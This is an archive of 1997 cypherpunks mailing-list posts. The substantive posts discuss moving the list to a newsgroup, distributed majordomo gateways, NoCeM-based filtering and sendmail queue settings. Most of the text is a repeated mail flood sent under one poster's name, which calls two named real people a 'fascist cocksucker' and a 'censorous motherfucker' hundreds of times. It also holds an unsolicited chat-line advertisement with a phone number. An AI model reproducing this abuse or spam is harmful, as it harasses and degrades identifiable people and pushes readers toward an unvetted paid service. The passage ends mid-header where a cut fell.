Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From dlv at bwalk.dm.com Wed Feb 12 12:15:32 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 12 Feb 1997 12:15:32 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: Message-ID: "Timothy C. May" writes: > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: > >If the people decide for creation of a new USENET newsgroup, > >we need to think very hard about actually moving it to a different > >hierarchy from alt.*. I would propose comp.org.cypherpunks, > >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > > > >A comp.* or sci.* newsgroup, if created, has the following advantages > >over an alt.* newsgroup: > > > >1) There is usually less spam in sci.* or comp.* > >2) There are virtually no completely irrelevant flamewars > >3) The propagation will be a lot better > >4) More people will be able to read it because of the issue of providers > > not carrying alt.*. > > > >I see nothing that would make a sci.* or comp.* newsgroup worse than > >alt.* newsgroup. > > Sure, and this has come up in every past discussion of creating > "alt.cypherpunks." > > But the creation of alt.cypherpunks is _easy_, and needs little permission > or support, whereas the creation of "soc.culture.cypherpunks" or whatever > takes work, requires a vote, blah blah blah. And so it never gets off the > ground. > > (Nor is it clear to me, and perhaps not to others, that it belongs in the > the various places Igor mentioned. Comp.org.cypherpunks probably is the > best fit, but then many would cite the "comp" part to try to insist that > only _computer_ topics be discussed. Likewise, the "soc" domain would skew > discussion...etc. "Alt" has the nice advantage of explicitly not be part of > sci, or comp, or soc, or even talk.) > > Since posting my comments I've just seen the proposal that tivoli may host > a list. Fine with me. But I wonder how long Tivoli and its parent company, > IBM, will tolerate such things as postings of dumpster divings at Mykotronx > and RSADSI, of deliberate slams against Tivoli products (a la the case John > Gilmore referred to this morning), postings about assassination markets, > and so on. > > I still feel that the time has come to move virtual forums such as ours out > of U.S. jurisdictions. Given that most European nations are worse in some > ways (no Holocaust denial posts allowed in "cypherpunks at foobar.de"?), I > recommend the alt.cypherpunks as the best overall compromise. (I apologize to everyone whose e-mail has gone unanswered this week - I've had a bunch of other stuff to do, but I'll get to it eventually. Also, I posted the Anshel+Goldfield zeta function paten number - do check it out.) Random thoughts: 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of corprate news servers that don't carry alt.* (or even soc.*). Note that soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-) Another possibility is sci.crypto.cypherpunks. (True, people whose corporate newsservers don't carry soc.* and talk.* can use dejanews - provided their firewall lets them.) 2. It takes more work to create a comp.* newsgroup than an alt newsgroup. It takes a vote. I'm willing to be one of the proponents and generally help with the process. (Both I and Igor have been co-proponents of major Usenet newsgroups - don't know about other people onthis list. :-) 3. An unmoderated Usenet newsgroup would have even ore crap than this mailing list. I've been thinking of how to deal with crap, and with the obvious desire by some people to delegate their decision what to read and what not to read to other people. While cpunks at toad worked, one could subscribe to a filtered version offered by at least 2 people. There was no easy way to get those articles that either filterer considered worth reading: if you subscribed to both lists, you'd get most articles twice. Here's a proposal: anyone should be free to issue 'highlight' NoCeM's for the unmoderated cypherpunks newsgroups. Perhaps there will be a 'bot immediately highlighting submissions from well-known posters. Someone reading the newsgroup with a nocem-enabled newsreader (such as gnu) can choose to read only those articles that one of the filterers he trusts has already marked as worthy of his attention. (E.g. Sandy can issue NoCeMs to his heart's content.) However the filterer can't stop someone from not using NoCeMs and reading the entire newsgroup traffic without incurring moderation delays. Most people don't have nocem-enabled newareaders yet... Which is where the network of cypherpunks majordomos Igor's been busy creating comes in very handy. When one of the nodes in the distributed cpunks2news gateway gets a submission, it should xmit it to the other known gateways and post it to Usenet. Also it should grab postings from the Usenet newsgroup and forward them to its mailing list. However in addition to the unedited mailing list, some gateways can choose to offer a filtered list controlled by one or more nocem issuers: i.e. one might be able to subscribe to cypherpunked-filtered-by-either- ray-or-sandy and receive articles only when the gateway receives a nocem from one of the two listing their message-ids. (Better yet, one might specify in the subscription which filterers to use.) I don't think this is a very hard thing to hack up. Sorry for the typoes: now Imust run, but I'd beinterested in the feedback on these thoghts. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From ravage at EINSTEIN.ssz.com Wed Feb 12 12:15:45 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 12:15:45 -0800 (PST) Subject: List for discussing many majordomos (fwd) Message-ID: <199702122021.OAA01881@einstein> Forwarded message: > Date: Tue, 11 Feb 1997 22:46:03 -0800 > From: Greg Broiles > Subject: List for discussing many majordomos > Yes, this is a good idea. One of the proponents of the "many majordomos" > project apparently has plans to impose his own ideas about intellectual > property on the project, and this seems like a pretty serious thing for a > setup that's allegedly going to prevent censorship. We need a place to > discuss this. Please explain how making submissions de facto public domain censors anyone? Jim Choate CyberTects ravage at ssz.com From elam at art.net Wed Feb 12 12:20:27 1997 From: elam at art.net (Lile Elam) Date: Wed, 12 Feb 1997 12:20:27 -0800 (PST) Subject: House Science Subcommittee... Message-ID: <199702121938.LAA22014@art.net> Hi folks, I am looking for more info on the ongoing House Science subcommittee which is about computer technology and national security. I heard they have folks talking about encryption and why it's important to use technology and not legislation to protect people's privacy... Theres a short article in the nando.net paper today about this committee at URL: http://www.nando.net/newsroom/ntn/info/021197/info5_430.html Dan Farmer talked yesterday... thanks, -lile From btrest at octonline.com Wed Feb 12 12:20:35 1997 From: btrest at octonline.com (btrest at octonline.com) Date: Wed, 12 Feb 1997 12:20:35 -0800 (PST) Subject: Hi there... Message-ID: <19355814803400@octonline.com> <<---------- Welcome to the Party Plus , where people from around the world come to chat live! Take a break from surfing with your modem. No lost links and no lags... Surf the Party Plus way! Only long distance charges apply! Pick up your phone, call, and experience a virtual party like you have never experienced before! Call 1+(664) 410-2595 1+(664) 410-2595 1+(664) 410-2595 <<---------- From paul at fatmans.demon.co.uk Wed Feb 12 12:20:42 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:20:42 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771065.522366.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From jmb at FRB.GOV Wed Feb 12 12:21:14 1997 From: jmb at FRB.GOV (Jonathan M. Bresler) Date: Wed, 12 Feb 1997 12:21:14 -0800 (PST) Subject: Need a good bi-directional mail-news gateway In-Reply-To: <01IFBXLR8Z009AN99E@mbcl.rutgers.edu> Message-ID: <199702122018.PAA17534@kryten.frb.gov> > Hi. The cypherpunks list is going through some major rearrangements, >and it appears that we need a bi-directional mail-news gateway for the new >group alt.cypherpunks and for whatever list(s) come out of the clouds of dust. >(The list(s) in question may be done in a distributed fashion across many >different machines, to lessen volume (1000+ subscribers, 100+ messages a day), >crash vulnerablity, and other problems.) Anybody have experience in running >a _really_ high-volume mail-news gateway (or in running distributed lists)? >Please cc: any replies to cypherpunks at toad.com > Thanks, > -Allen your expected mail volume is 100,000+ messages a day? i run lists that do 200,000+ routinely. recent peak of 350,000 messages does that meet your needs? jmb From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 12 12:22:55 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 12 Feb 1997 12:22:55 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <01IFBY5GYONI9AN99E@mbcl.rutgers.edu> From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 12-FEB-1997 11:59:08.20 >> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST) >> From: ichudov at algebra.com >> Subject: Re: Moderation experiment almost over; "put up or shut up" >> John Gilmore wrote: >> > A pentium is definitely up to this task. I've been running it the >> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and >> > general computing). Give it a big /var/spool partition (mine is 60MB) >> > because every message will sit in the queue for days (*somebody* on >> > the list will have an unreachable name server or MX server until the >> > msg times out). Give it lots of RAM and paging space, since each >> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will >> > have dozens running at the same time. >My approach to this problem has been to use a 1G drive and mount the entire >file system on it. Swap and MS-Dos each get their own partitions. This >allows the use of the entire drive as a buffer. I am in the process of >adding another 1G in approx. two weeks with the intent of moving /home off >the main drive. This not only gives the system more space but the users as >well. I set swap to 4x main ram. I use Linux and have it as one giant >partition even though suggested is blocks of 16M, works for me (YMMV). Would >be minor to monitor df and alarm when it gets to 200M or something. >I must admit however that I am looking at a faster mbrd. and a bigger hard >drive in the immediate future to make up for the extra load I expect. Had >not really planned on the remailer project however... >> > You'll need a BIG mailbox for the bounce messages, and someone (or >> > some unwritten software) to scan it every day or two and delete the >> > lusers whose mailboxes are full or who dumped their account without >> > unsubscribing. The bounce mailbox on toad gets between 1 and 4MB of >> > email a day; more when the list is under attack. >How about dumping the bounces to /dev/null? I shure don't care if some >bozo's (other than mine that is) mailbox goes away. Umm... because you'll eventually accumulate _lots_ of addresses that don't work, which will slow things down tremendously in sending mail out? >> > The real issue is how willing you are to put your own time into >> > dealing with problems. Not only do things go wrong by themselves, but >> > there are malicious assholes in the world who will deliberately make >> > trouble for you just because they like to. Spending a day or two >> > cleaning up the mess is just part of the job. Check your level of >> > committment two or three times before taking on the task -- so you >> > won't end up getting disgusted after a month or two and putting the >> > list's existence into crisis again. It's not a "set it up and forget >> > it" kind of operation. >I can verify this. If I was not already having to deal with these problem >as a current mailing list operator I certainly would not take on the >job. It is one of the reasons I STRONGLY suggest anyone serious about this >should use the resources to make money as well. Anyone capable of setting up >and operating such a remailer system is at least capable of basic skills. Well, loki at cyberpass.net has made the offer to host the entire list... and Lance is certainly making money at it. While this would have some problems in comparison with the distributed list idea (namely more of a choke point), it would decidedly help. >> Another suggestion may be to set sendmail expire option to one day >> instead of five so that messages that cannot be delivered would bounce >> faster and not clog the queue. >I like this idea very much. Myself I would set it for like 4 hours or so and >if it couldn't be delivered then bye bye. Another motivation for selective >sites to operate as archives without themselves being remailers. >Another issue related to this is at what point to unsubscribe accounts. It >seems to me that if the address times out some number of times it should be >deleted. >Is anyone interested in acting as a mail-to-news gateway? From roach_s at alph.swosu.edu Wed Feb 12 12:23:59 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 12 Feb 1997 12:23:59 -0800 (PST) Subject: Cypherpunks Mailing List Message-ID: <199702121937.LAA10820@cygnus.com> Mr. Gilmore I know that this list has become something of a dead albatross with you, but I was wondering if you would be willing to do the whole of us another favor. As you have stated that this list will no longer reside on your machine any longer. And as several people have put forward thier own machines upon which to host this forum in the future. And as there are people who, though not currently subscribed, know about the list and may wish to subscribe to the list in the future. Could you please maintain at least the semblence of a list on your machine. Not the actual list, but a pointer triggered by a post or majordomo request concerning cypherpunks. In this way, persons not currently subscribed but knowledgeable about the list can find it in the future. Such a system should be easy to set up, given that you probably already have autoresponder bots in your hard drive, and would be a great service. Would you please rig such a system after your deadline in place of the list to point to which ever system currently has the most alternate traffic? This would only need to be an interim measure as after a reasonably short length of time people would get the idea that the list has moved. Thank you for entertaining this request. From paul at fatmans.demon.co.uk Wed Feb 12 12:25:18 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:25:18 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771024.522004.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:25:22 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:25:22 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771173.523306.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:25:26 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:25:26 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771114.522809.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:25:35 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:25:35 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771066.522375.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:25:40 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:25:40 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771109.522744.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:25:45 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:25:45 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771013.521918.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:25:52 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:25:52 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771171.523294.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 